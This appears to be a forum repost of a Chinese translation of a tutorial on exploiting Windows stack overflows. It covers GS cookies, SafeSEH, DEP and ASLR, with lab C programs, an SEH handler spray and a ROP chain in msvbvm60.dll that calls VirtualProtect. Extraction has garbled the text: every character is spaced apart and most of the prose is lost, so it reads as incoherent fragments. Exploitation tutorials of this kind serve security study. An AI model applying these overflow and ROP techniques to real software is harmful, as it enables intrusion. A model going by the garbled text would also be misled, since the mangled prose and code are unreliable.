[28837] 2021-04-01_Windows内存损坏漏洞的现代探索-第一部分:堆栈溢出

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2021-04-01_Windows内存损坏漏洞的现代探索-第一部分:堆栈溢出 W i n d o w s - O t s   2 0 2 1 - 0 4 - 0 1 W i n d o w s   O S / 使 使 O S 使 W i n d o w s   1 0 V i s u a l   S t u d i o   2 0 1 9 使 C   /   C   + + G i t h u b 3 2 W o w 6 4 使 s h e l l c o d e s h e l l c o d e s h e l l c o d e 1 . 使 0 x 4 4 4 4 4 4 4 4 W i n d o w s 使 S m a s h i n g   t h e   S t a c k   f o r   F u n   a n d   P r o f i t W i n d o w s   1 0 使 V i s u a l   S t u d i o   2 0 1 9 1 .   S a f e C R T h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / c p p / e r r o r - m e s s a g e s / c o m p i l e r - w a r n i n g s / c o m p i l e r - w a r n i n g - l e v e l - 3 - c 4 9 9 6 ? v i e w = v s - 2 0 1 9 2 .   c o o k i e h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / c p p / b u i l d / r e f e r e n c e / g s - b u f f e r - s e c u r i t y - c h e c k ? v i e w = v s - 2 0 1 9 3 .   S a f e S E H # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d i n t . h > u i n t 8 _ t   O v e r f l o w D a t a [ ]   =         " A A A A A A A A A A A A A A A A "   / /   1 6   b y t e s   f o r   s i z e   o f   b u f f e r         " B B B B "                     / /   + 4   b y t e s   f o r   s t a c k   c o o k i e         " C C C C "                     / /   + 4   b y t e s   f o r   E B P         " D D D D " ;                   / /   + 4   b y t e s   f o r   r e t u r n   a d d r e s s v o i d   O v e r f l o w ( u i n t 8 _ t *   p I n p u t B u f ,   u i n t 3 2 _ t   d w I n p u t B u f S i z e )   {         c h a r   B u f [ 1 6 ]   =   {   0   } ;         m e m c p y ( B u f ,   p I n p u t B u f ,   d w I n p u t B u f S i z e ) } i n t 3 2 _ t   w m a i n ( i n t 3 2 _ t   n A r g c ,   c o n s t   w c h a r _ t *   p A r g v [ ] )   {         p r i n t f ( " . . .   p a s s i n g   % d   b y t e s   o f   d a t a   t o   v u l n e r a b l e   f u n c t i o n r n " ,   s i z e o f ( O v e r f l o w D a t a )   -   1 ) ;         O v e r f l o w ( O v e r f l o w D a t a ,   s i z e o f ( O v e r f l o w D a t a )   -   1 ) ;         r e t u r n   0 ; }
h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / c p p / b u i l d / r e f e r e n c e / s a f e s e h - i m a g e - h a s - s a f e - e x c e p t i o n - h a n d l e r s ? v i e w = v s - 2 0 1 9 4 .   D E P h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / m e m o r y / d a t a - e x e c u t i o n - p r e v e n t i o n 5 .   A S L R h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / c p p / b u i l d / r e f e r e n c e / d y n a m i c b a s e - u s e - a d d r e s s - s p a c e - l a y o u t - r a n d o m i z a t i o n ? v i e w = v s - 2 0 1 9 6 .   S E H O P   h t t p s : / / m s r c - b l o g . m i c r o s o f t . c o m / 2 0 0 9 / 0 2 / 0 2 / p r e v e n t i n g - t h e - e x p l o i t a t i o n - o f - s t r u c t u r e d - e x c e p t i o n - h a n d l e r - s e h - o v e r w r i t e s - w i t h - s e h o p / C R T   A P I s t r c p y S a f e C R T A P I s t r c p y _ s m e m c p y A P I C R T   A P I P O S I X K E R N E L 3 2 . D L L l s t r c p y A A P I V i s u a l   S t u d i o   2 0 1 9 c o o k i e S a f e S E H S E H O P c o o k i e D E P A S L R 使 S h e l l c o d e c o o k i e C o o k i e s G S G S   + + V i s u a l   S t u d i o   2 0 0 3 M i c r o s o f t M S V C G S V i s u a l   S t u d i o   2 0 0 5 G S 线 / 2 0 0 9 C o r e l a n G S V i s u a l   S t u d i o   2 0 1 0 G S G S   + + G S M i c r o s o f t   C h a n n e l 9 M i c r o s o f t G S   + +   /   G S G S 使 c o o k i e M i c r o s o f t   G S G S 8 1 2 G S G S   + + 1 .   2 .   2 .   G S 使 E I P E I P A S L R C o r e l a n V i s t a   C V E - 2 0 0 7 - 0 0 3 8   A n i m a t e d   C u r s o r s t r u c t 2 0 0 7 G S   + + 2 0 1 0 E I P A S L R
M S D N 2 0 1 6 G S G S M i c r o s o f t G S 使 V S 2 0 1 9 c o o k i e c o o k i e 1 .   c o o k i e V i s u a l   S t u d i o   2 0 1 9 使 /   G S - > - >   C   /   C   + + - > - > 2 .   使 /   G S P E c o o k i e . d a t a 3 .   G S c o o k i e E B P X O R E B P 4 .   c o o k i e E B P X O R c o o k i e . d a t a 5 .   c o o k i e R E T E I P 1 S T A T U S _ S T A C K _ B U F F E R _ O V E R R U N 0 x C 0 0 0 0 4 0 9 使 3 . 0 x 1 0 1 6 3 0 x 1 4 2 0 c o o k i e 0 x E 9 8 F 4 1 A F 0 x 0 1 3 5 F E 3 0 E B P 1 m e m c p y 1 6 2 8 0 x 0 1 3 5 F E 2 0 0 x 0 1 3 5 F E 3 0 1 6 A s 0 x 4 1 0 x 0 1 3 5 F E 3 0 c o o k i e B 0 x 4 2 4 2 4 2 4 2 E B P 0 x 0 1 3 5 F E 3 4 C S 0 x 4 3 4 3 4 3 4 3 0 x 0 1 3 5 F E 3 8 D S 0 x 4 4 4 4 4 4 4 4 0 x 4 4 4 4 4 4 4 4 E I P c h a r   * p B u f [ 2 0 ] ; v o i d   * p v [ 2 0 ] ; c h a r   b u f [ 4 ] ; i n t   b u f [ 2 ] ; s t r u c t   {   i n t   a ;   i n t   b ;   } ; u i n t 8 _ t   O v e r f l o w D a t a   [ ]   =           A A A A A A A A A A A A A A A A   / / 1 6           B B B B                     / / c o o k i e + 4             C C C C                     / /   E B P   + 4             D D D D / /   + 4
4 . m e m c p y 0 x 0 1 3 5 F E 3 8 0 x 4 4 4 4 4 4 4 4 0 x 4 4 4 4 4 4 4 4 访 c o o k i e . d a t a c o o k i e E B P X O R d 0 x E 9 8 F 4 1 A F 0 x 4 2 4 2 4 2 4 2 E I P c o o k i e 0 x 4 3 7 7 8 C 7 6 E C X _ _ s e c u r i t y _ c h e c k _ c o o k i e 5 . _ _ s e c u r i t y _ c h e c k _ c o o k i e S T A T U S _ S T A C K _ B U F F E R _ O V E R R U N 0 x C 0 0 0 0 4 0 9 使 c o o k i e . d a t a c o o k i e c o o k i e c o o k i e E I P R E T S E H 线 E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D W i n d o w s 3 2
6 .   N T D L L 线 S E H E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D S E H N T D L L . D L L S E H 线 T E B E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D 7 .   S E H S E H c o o k i e 使 S E H E I P _ _ s e c u r i t y _ c h e c k _ c o o k i e E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D S h e l l c o d e t y p e d e f   s t r u c t   _ E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D   {     P E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D     P E X C E P T I O N _ D I S P O S I T I O N }   E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D *   P E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D ; # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d i n t . h > v o i d   O v e r f l o w ( u i n t 8 _ t *   p I n p u t B u f ,   u i n t 3 2 _ t   d w I n p u t B u f S i z e )   {         c h a r   B u f [ 1 6 ]   =   {   0   } ;         m e m c p y ( B u f ,   p I n p u t B u f ,   d w I n p u t B u f S i z e ) ; } E X C E P T I O N _ D I S P O S I T I O N   _ _ c d e c l   F a k e H a n d l e r ( E X C E P T I O N _ R E C O R D *   p E x c e p t i o n R e c o r d ,   v o i d *   p E s t a b l i s h e r F r a m e ,   C O N T E X T *   p C o n t e x t R e c o r d ,   v o i d *   p D i s p a t c h e r C o n t e x t )   {         p r i n t f ( " . . .   f a k e   e x c e p t i o n   h a n d l e r   e x e c u t e d   a t   0 x % p r n " ,   F a k e H a n d l e r ) ;         s y s t e m ( " p a u s e " ) ;         r e t u r n   E x c e p t i o n C o n t i n u e E x e c u t i o n ; } i n t 3 2 _ t   w m a i n ( i n t 3 2 _ t   n A r g c ,   c o n s t   w c h a r _ t *   p A r g v [ ] )   {         u i n t 3 2 _ t   d w O v e r f l o w S i z e   =   0 x 2 0 0 0 0 ;         u i n t 8 _ t *   p O v e r f l o w B u f   =   ( u i n t 8 _ t * ) H e a p A l l o c ( G e t P r o c e s s H e a p ( ) ,   0 ,   d w O v e r f l o w S i z e ) ;         p r i n t f ( " . . .   s p r a y i n g   % d   c o p i e s   o f   f a k e   e x c e p t i o n   h a n d l e r   a t   0 x % p   t o   t h e   s t a c k . . . r n " ,   d w O v e r f l o w S i z e   /   4 ,   F a k e H a n d l e r ) ;         f o r   ( u i n t 3 2 _ t   d w O f f s e t   =   0 ;   d w O f f s e t   <   d w O v e r f l o w S i z e ;   d w O f f s e t   + =   4 )   {       * ( u i n t 3 2 _ t * ) & p O v e r f l o w B u f [ d w O f f s e t ]   =   F a k e H a n d l e r ;
8 . S E H 9 . S E H E X C E P T I O N _ R E G I S T R A T I O N E X E F a k e H a n d l e r S T A T U S _ I N V A L I D _ E X C E P T I O N _ H A N D L E R 0 x C 0 0 0 0 1 A 5 S a f e S E H S a f e S E H 3 2 P E 6 4 P E I M A G E _ D I R E C T O R Y _ E N T R Y _ E X C E P T I O N 3 2 P E I M A G E _ D I R E C T O R Y _ E N T R Y _ C O P Y R I G H T S a f e S E H V i s u a l   S t u d i o   2 0 0 3 G S V i s u a l   S t u d i o   2 0 0 5 S a f e S E H 1 .   S a f e S E H V i s u a l   S t u d i o   2 0 1 9 使 /   S A F E S E H P r o j e c t - >   P r o p e r t i e s - >   L i n k e r -   >   A d v a n c e d - >   I m a g e S a f e   E x c e p t i o n   H a n d l e r s 2 .   S a f e S E H P E I M A G E _ D I R E C T O R Y _ E N T R Y _ L O A D _ C O N F I G S E H a n d l e r T a b l e S E H 3 .   E X C E P T I O N _ R E G I S T R A T I O N _ R E C O R D W i n d o w s 使 S E H a n d l e r T a b l e 使 8 S E H a n d l e r T a b l e _ _ t r y   _ _ e x c e p t S a f e S E H   1 0 . S E H S E H P E   E X E 2 0 0 5 V i s u a l   S t u d i o S a f e S E H   S a f e S E H P E P E G i t h u b W i n d o w s   1 0   V M S y s W O W 6 4 S a f e S E H   P E       * ( u i n t 3 2 _ t * ) & p O v e r f l o w B u f [ d w O f f s e t ]   =   F a k e H a n d l e r ;         }         p r i n t f ( " . . .   p a s s i n g   % d   b y t e s   o f   d a t a   t o   v u l n e r a b l e   f u n c t i o n r n " ,   d w O v e r f l o w S i z e ) ;         O v e r f l o w ( p O v e r f l o w B u f ,   d w O v e r f l o w S i z e ) ;         r e t u r n   0 ; }
1 1 .   W i n d o w s   1 0   V M S y s W O W 6 4 S a f e S E H P E S a f e S E H   P E D L L W i n d o w s   1 0 P r o g r a m   F i l e s 7 P E S a f e S E H V M 7 - z i p S u b l i m e   T e x t V M W a r e   T o o l s S a f e S E H c o o k i e 使 S a f e S E H P E 使 1 .   S E H a n d l e r T a b l e I M A G E _ D I R E C T O R Y _ E N T R Y _ L O A D _ C O N F I G 沿 S E H a n d l e r C o u n t 2 .   I M A G E _ D L L C H A R A C T E R I S T I C S _ N O _ S E H I M A G E _ O P T I O N A L _ H E A D E R . D l l C h a r a c t e r i s t i c s S a f e S E H 1 0 S E H P E   E X E S E H s h e l l c o d e D E P A S L R D E P A S L R S h e l l c o d e 1 .   A S L R S h e l l c o d e 2 .   D E P s h e l l c o d e 2 0 0 4 W i n d o w s   X P   S P 2   D E P W i n d o w s 广   D E P 使 P T E 使   N X   a k a W i n d o w s K E R N E L 3 2 . D L L V i r t u a l A l l o c A P I 使 K E R N E L 3 2 . D L L A P I s h e l l c o d e D E P 使 /   N X C O M P A T E X E D E P S a f e S E H A S L R D E P   D L L 西 D E P R O P s h e l l c o d e W i n d o w s . t e x t +   R X P E . t e x t R O P R O P 使 K E R N E L 3 2 . D L L V i r t u a l P r o t e c t   A P I 便 使 s h e l l c o d e A P I A S L R E I P V i r t u a l P r o t e c t K E R N E L 3 2 . D L L s h e l l c o d e 使 N O P s h e l l c o d e N O P 0 x 9 0 s h e l l c o d e 使 N O P B O O L   V i r t u a l P r o t e c t     L P V O I D   l p A d d r e s s     S I Z E _ T   d w S i z e     D W O R D   f l N e w P r o t e c t     P D W O R D   l p f l O l d P r o t e c t ;
2 0 0 6 A S L R W i n d o w s   V i s t a R O P K E R N E L 3 2 . D L L V i r t u a l P r o t e c t s h e l l c o d e R O P R O P N O P 1 9 9 6 A S L R A S L R D E P A S L R R O P R O P V i r t u a l P r o t e c t D E P R O P 使 A S L R W i n d o w s   1 0   V M S y s W O W 6 4 A S L R A S L R V i s u a l   S t u d i o   2 0 1 9 A S L R 使 /   D Y N A M I C B A S E - > - > - > - > 使 P E I M A G E _ D I R E C T O R Y _ E N T R Y _ B A S E R E L O C P E . r e l o c W i n d o w s A S L R P E I M A G E _ O P T I O N A L _ H E A D E R . D l l C h a r a c t e r i s t i c s I M A G E _ D L L C H A R A C T E R I S T I C S _ D Y N A M I C _ B A S E P E 使 / P E E X E A S L R A S L R A S L R A S L R   s t r i p   r e l o c a t i o n s A S L R 使 A S L R A S L R W i n d o w s   7 +   W e b A S L R I D E V i s u a l   S t u d i o W i n d o w s   1 0   V M A S L R S y s t e m 3 2 S y s W O W 6 4 1 2 .   W i n d o w s   1 0   V M S y s W O W 6 4 A S L R 1 2 A S L R M i c r o s o f t P E 使 A S L R I M A G E _ O P T I O N A L _ H E A D E R . I m a g e B a s e 1 2 P E P E E X E 0 x 0 0 4 0 0 0 0 0 0 x 1 0 0 0 0 0 0 D L L A S L R A S L R 1 3
1 3 .   W i n d o w s   1 0   V M   P r o g r a m   F i l e s A S L R A S L R H X D   H e x   E d i t o r 1 3 1 2 0 x 0 0 4 0 0 0 0 0 P E P E I M A G E _ D L L C H A R A C T E R I S T I C S _ D Y N A M I C _ B A S E 0 x 0 0 4 0 0 0 0 0 A S L R A S L R   0 x 0 0 4 0 0 0 0 0 O S A S L R . t e x t R O P K E R N E L 3 2 . D L L V i r t u a l P r o t e c t   A P I s h e l l c o d e D E P R O P 1 2 S y s W O W 6 4 S y s W O W 6 4 A S L R m s v b v m 6 0 . d l l A S L R S a f e S E H S E H / I A T K E R N E L 3 2 . D L L V i r t u a l P r o t e c t R O P R O P 使 R o p p e r m s v b v m 6 0 . d l l R E T J M P C A L L R O P 1 .   m s v b v m 6 0 . d l l I A T K E R N E L 3 2 . D L L V i r t u a l P r o t e c t K E R N E L 3 2 . D L L A S L R   2 .   V i r t u a l P r o t e c t D E P s h e l l c o d e 3 .   V i r t u a l P r o t e c t s h e l l c o d e +   R W X R O P 使 R O P 1 4 .   R O P K E R N E L 3 2 . D L L A S L R V i r t u a l P r o t e c t m s v b v m 6 0 . d l l 使 I A T m s v b v m 6 0 . d l l W i n d o w s V i r t u a l P r o t e c t m s v b v m 6 0 . d l l 使 J M P C A L L V i r t u a l P r o t e c t s h e l l c o d e D E P J M P   E S P s h e l l c o d e E S P R O P 便 s h e l l c o d e R O P 使 使 使 E S P V i r t u a l P r o t e c t J M P   E S P E S P s h e l l c o d e E S P s h e l l c o d e E S P R O P s h e l l c o d e R O P D E P R O P m s v b v m 6 0 . d l l 4 R O P 使 P U S H A D P U S H A D E S P K E R N E L 3 2 . D L L V i r t u a l P r o t e c t 使 P U S H A D R E T C o r e l a n E x p l o i t 1 0 D E P R O P   R u b i k ' s     G a d g e t   # 1   |   M O V   R E G 1 ,   < A d d r e s s   o f   V i r t u a l P r o t e c t   I A T   t h u n k >   ;   R E T G a d g e t   # 2   |   M O V   R E G 2 ,   < A d d r e s s   o f   J M P   E S P   -   G a d g e t   # 6 >   ;   R E T G a d g e t   # 3   |   M O V   R E G 3 ,   < A d d r e s s   o f   g a d g e t   # 5 >   ;   R E T G a d g e t   # 4   |   P U S H   E S P   ;   P U S H   R E G 3   ;   R E T G a d g e t   # 5   |   P U S H   R E G 2   ;   J M P   D W O R D   [ R E G 1 ] G a d g e t   # 6   |   J M P   E S P E A X   =   N O P   s l e d     E C X   =   O l d   p r o t e c t i o n   ( w r i t a b l e   a d d r e s s )     E D X   =   P A G E _ E X E C U T E _ R E A D W R I T E     E B X   =   S i z e     E B P   =   V i r t u a l P r o t e c t   r e t u r n   a d d r e s s   ( J M P   E S P )     E S I   =   K E R N E L 3 2 . D L L ! V i r t u a l P r o t e c t     E D I   =   R O P N O P
p s e d o R O P   m s v b v m 6 0 . d l l R O P 1 5 . m s v b v m 6 0 . d l l R O P G a d g e t   # 1   |   M O V   E A X ,   < m s v b v m 6 0 . d l l ! V i r t u a l P r o t e c t >   G a d g e t   # 2   |   M O V   E S I ,   D W O R D   [ E A X ]   G a d g e t   # 3   |   M O V   E A X ,   0 x 9 0 9 0 9 0 9 0   G a d g e t   # 4   |   M O V   E C X ,   < m s v b v m 6 0 . d l l ! . d a t a >   G a d g e t   # 5   |   M O V   E D X ,   0 x 4 0   G a d g e t   # 6   |   M O V   E B X ,   0 x 2 0 0 0   G a d g e t   # 7   |   M O V   E B P ,   < A d d r e s s   o f   g a d g e t   # 1 1 >   G a d g e t   # 8   |   M O V   E D I ,   < A d d r e s s   o f   g a d g e t   # 1 0 >   G a d g e t   # 9   |   P U S H A D   G a d g e t   # 1 0   |   R O P N O P   G a d g e t   # 1 1   |   J M P   E S P u i n t 8 _ t   R o p C h a i n [ ]   =         " x 5 4 x 1 e x 0 0 x 6 6 "   / /   0 x 6 6 0 0 1 e 5 4   |   G a d g e t   # 1   |   P O P   E S I   ;   R E T         " x d 0 x 1 0 x 0 0 x 6 6 "   / /   0 x 6 6 0 0 1 0 d 0   - >   E S I   |   < m s v b v m 6 0 . d l l ! V i r t u a l P r o t e c t   t h u n k >         " x f c x 5 0 x 0 5 x 6 6 "   / /   0 x 6 6 0 5 5 0 f c   |   G a d g e t   # 2   |   M O V   E A X ,   D W O R D   [ E S I ]   ;   P O P   E S I ;   R E T         " x e f x b e x a d x d e "   / /   J u n k         " x f 8 x 9 f x 0 f x 6 6 "   / /   0 x 6 6 0 f 9 f f 8   |   G a d g e t   # 3   |   X C H G   E A X ,   E S I ;   R E T         " x 1 f x 9 8 x 0 e x 6 6 "   / /   0 x 6 6 0 e 9 8 1 f   |   G a d g e t   # 4   |   P O P   E A X ;   R E T         " x 9 0 x 9 0 x 9 0 x 9 0 "   / /   N O P   s l e d   - >   E A X   |   J M P   E S P   w i l l   p o i n t   h e r e         " x f 0 x 1 d x 0 0 x 6 6 "   / /   0 x 6 6 0 0 1 d f 0   |   G a d g e t   # 5   |   P O P   E B P ;   R E T         " x e a x c b x 0 1 x 6 6 "   / /   0 x 6 6 0 1 C B E A   - >   E B P   |   < G a d g e t   # 1 2 >         " x 1 0 x 1 f x 0 0 x 6 6 "   / /   0 x 6 6 0 0 1 f 1 0   |   G a d g e t   # 6   |   P O P   E B X ;   R E T         " x 0 0 x 2 0 x 0 0 x 0 0 "   / /   0 x 2 0 0 0   - >   E B X   |   V i r t u a l P r o t e c t ( )   |   P a r a m   # 2   |   d w S i z e         " x 2 1 x 4 4 x 0 6 x 6 6 "   / /   0 x 6 6 0 6 4 4 2 1   |   G a d g e t   # 7   |   P O P   E D X ;   R E T         " x 4 0 x 0 0 x 0 0 x 0 0 "   / /   0 x 4 0   - >   E D X   |   V i r t u a l P r o t e c t ( )   |   P a r a m   # 3   |   f l N e w P r o t e c t   |   P A G E _ E X E C U T E _ R E A D W R I T E         " x f 2 x 1 f x 0 0 x 6 6 "   / /   0 x 6 6 0 0 1 f f 2   |   G a d g e t   # 8   |   P O P   E C X ;   R E T         " x 0 0 x a 0 x 1 0 x 6 6 "   / /   0 x 6 6 1 0 A 0 0 0   - >   E C X   |   V i r t u a l P r o t e c t ( )   |   P a r a m   # 4   |   l p f l O l d P r o t e c t         " x 5 b x 5 7 x 0 0 x 6 6 "   / /   0 x 6 6 0 0 5 7 5 b   |   G a d g e t   # 9   |   P O P   E D I ;   R E T         " x f 9 x 2 8 x 0 f x 6 6 "   / /   0 x 6 6 0 F 2 8 F 9   - >   E D I   |   < G a d g e t   # 1 1 >         " x 5 4 x 1 2 x 0 5 x 6 6 "   / /   0 x 6 6 0 5 1 2 5 4   |   G a d g e t   # 1 0   |   P U S H A D ;   R E T         / /   0 x 6 6 0 F 2 8 F 9   |   G a d g e t   # 1 1   |   R O P N O P   |   r e t u r n s   i n t o   V i r t u a l P r o t e c t         / /   0 x 6 6 0 1 C B E A   |   G a d g e t   # 1 2   |   P U S H   E S P ;   R E T   |   r e t u r n   a d d r e s s   f r o m   V i r t u a l P r o t e c t
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则